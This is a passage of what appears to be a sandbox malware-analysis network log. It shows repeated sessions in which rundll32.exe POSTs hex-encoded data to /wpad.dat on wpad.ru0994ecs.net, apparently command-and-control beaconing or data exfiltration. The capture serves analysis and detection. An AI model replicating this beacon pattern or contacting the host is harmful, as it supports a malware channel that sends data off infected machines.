2024-04-16 13:37:58 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:58 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8wEvV5usGGlBLod59mkxmL1fGANkSY%2B%2FHeeI8Ue4GOAtur2H5EYDWYKqdk3x2%2Bp3ItCtKTpTAzpzQNIYqVrsuVelDRYrF7nDPT9CuHvcAeaDBRdEjfs6QiX1V9vjQSNAzCKa%2Bqw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492b41eab6767-ATL
2024-04-16 13:37:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.8	49872	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:58 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:58 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:58 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IAHl8J%2F0V0N1e0Y%2FCD%2BzrvxPUboaoePhkuWS8%2BfPhop5zCs9QP7me9q35WlSfX3dqUcCzKDF%2F5nATm50aI1AJTbzTLnM5GpdrxAcWY4xTgR5lbTzSO7S1jofQDTDjGtothucWnw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492b4890f0803-ATL
2024-04-16 13:37:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.8	49873	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:59 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1rjTF8hUVpPz8KIhLjl%2F0EHZh2iov4QPeQMW3XyAQRlud%2Fh2%2FwpG82vfBO%2BN5L2x%2FKeiP9CZ3NdSOq2SoQgy4Fi1aqkG3BsXTGB0PMzTCkbEadCvB%2F2v4%2FFl6%2BsAdQ3MyeGDw8Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492bbfa7e44f7-ATL
2024-04-16 13:37:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.8	49874	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:00 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:00 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:01 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jLiVoYhncveaHowPfDeQCcHjz5MlD0WFMz3kE2NFAoOue2xZLh%2BZVMFHSF6tIKPNQfLJPNuw%2BQ2%2Fzm1yZmVKAmIfYjR9%2FTYxi7S1Yp84YsJPS0%2B9QJMAjfMKNchI3xiJd952Q9I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492c44d69134b-ATL
2024-04-16 13:38:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.8	49875	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:00 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:00 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:01 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DBX6EtKkIkHQ5EQllOXd04BHYnFT7WifpoocrF04%2FMNKfuOl5itPASeSnSeh2qb%2BmEhayxq1D7B5cqd9oqpinZW8Oc3BG9%2Fb7qnIzWA3RbPb2GbX7ck6ZD7%2B2XKI%2BFyxG56FTKg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492c4bb71135f-ATL
2024-04-16 13:38:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.8	49876	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:04 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:04 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:04 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rpQFUkCPFDP8yBpkFaon9M1tpcQQdqdx1aI3JLuIVwSAdzCwP9HznhCOx7JtlZVxaXM8ayB0Z9WLNb1mtWyDDw8DYu6OLACgGqXBwWvISh4XHpEnjis8bcZbIAeHMUJTblpHnQM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492d899f4b09f-ATL
2024-04-16 13:38:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.8	49877	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:05 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:05 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:05 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sjdNsci4hXpo42S4frnvxfUNO1K%2BBVZ8qP4qOxm29HeJjVS7sUCeNVVYrXxP61f3%2FlFc2ow6ipMeG3t%2B1Drt%2FxBMdZ7EYf2%2BuFBaqNbH%2FMYsc1MEY9OyXCAtqAKxjzwFy4aUpxI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492e13f8c4569-ATL
2024-04-16 13:38:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.8	49878	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:05 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:05 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:05 UTC	545	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=07%2B0aUyvxc%2BmFuUlVKk1%2FIl2%2F3A9ptar5nk4txy%2BCkGvIObgE8c8JHnG%2FWy%2BDD4tYQREvSQ4XpxNQetVifU3Pi6FgRlSOvdcysm0J7CQAYXY3txU02vi%2BMnGE0bjq2qbAfEx%2Fm0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492e18abf4564-ATL
2024-04-16 13:38:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.8	49879	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:07 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:07 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:07 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cpp8%2Fn%2BOVNQe9IutVXeEXNN8%2BvZRkJbIYLidjrHIhJ3B4RjwQRgLXWaAskZ30%2B9T5JcfMIcKMG0KHo5XU5byRj6zFeVwDoMKSbogXbtoAVAonldRF49uWFPU9y%2F%2F6J0n1A38IAw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492eb085269f3-ATL
2024-04-16 13:38:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.8	49880	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:07 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:07 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:07 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A9Z9NurFK91DooCvMMEIbC3Yh6L8r4I2pckpG3ACseiJ9tgUGtpFih20Alb%2B6DcnznPsfqiXlHlH%2BopeQvromYIcQC7%2BA326s2b5LpN19UnHbSil%2F0k%2F0upEkSAGthlEDR5oE3c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492eb3e6b53f6-ATL
2024-04-16 13:38:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.8	49881	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:09 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:09 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:09 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HZzv%2FHPSohW6vxPIlqHB%2Fl%2BxnDpO4%2Fr0ZYjjoB9iPhyOaQmHAips0e6dKOgUUczrzYjn89YaZ6lIeKFBa0AMg0PDUbZQE7S00YAXN4oxmWPs5f7r3og8dpSz66wcSUskl20W68E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875492fb7bf11371-ATL
2024-04-16 13:38:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.8	49883	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:10 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=enJdDXJPr5PoGDKzsypd2oLWdPLh2OkmU2jScm88DtzIFHOvNDlbqwDaL%2BGjxgdPAiLt6e%2BhyrVxvQhneX9ZtqOs5d5dGNGRy34DzrlCZS0ktqcc7XGeI4Nnq10WjxDpurj%2FDRk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875493018ca1674b-ATL
2024-04-16 13:38:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.8	49882	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:10 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0uE9nHXUsDUZnvHJucC%2FFiUSE50ligzTBIcJBchTIZC2OyHa1Sb4HPqXqSNvVAYVMl24tsLuHMCdXwUevie7URJBekUWT2PT0YAaeSnF2PqdDPC%2FD7KG6Dq%2BcsbOCtHIv1oY%2BvA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754930188694588-ATL
2024-04-16 13:38:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.8	49884	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:12 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
